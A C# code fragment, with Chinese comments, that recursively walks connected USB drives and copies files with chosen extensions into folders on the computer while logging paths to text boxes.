public void method2()
{
DirFileCreate dc=new DirFileCreate();
computer_dedir=dc.DirCreate();
int count=U_Disk_Info.length(U_disk);
for(int j=0;j<count;j++)
{
foreach(string filename in File_Extension)
{
CatUsbFile(U_disk[j].name,filename);
}
U_disk[j].IsCopy=true;
}
if(!thread1.IsAlive){
thread1.Start();
}
}
//---------------------------------------------------
public bool CatUsbFile(string path,string fileExtension)
{
try{
string [] strUsbDir=Directory.GetDirectories(path);
string [] strUsbFiles=Directory.GetFiles(path);
//递归遍历文件夹
foreach(string dirname in strUsbDir){
AddMessageRichtext1(dirname+Environment.NewLine);
//richTextBox1.AppendText(dirname+Environment.NewLine);
CatUsbFile(dirname,fileExtension);
}
//遍历文件
foreach(string file in strUsbFiles){
string exname=file.Substring(file.LastIndexOf(".")+1);
if(fileExtension.IndexOf(exname)>-1){
FileInfo fi=new FileInfo(file);
AddMessageRichtext2(fi.FullName+Environment.NewLine);
//richTextBox2.AppendText(fi.FullName+Environment.NewLine);
DirFileCreate dcs=new DirFileCreate();
dcs.multiCopyFile(computer_dedir+"\\"+exname,fi.FullName);
}
//Application.DoEvents()的作用：处理所有的当前在消息队列中的Windows消息应该DoEvents就好比实现了进程的同步。在不加的时候，因为优先级的问题，程序会执行主进程的代码，再执行别代码，而加了以后就可以同步执行。
AddMessageRichtext1(file+Environment.NewLine);
//richTextBox1.AppendText(file+Environment.NewLine);
}
return true;
}catch{
return false;
}
}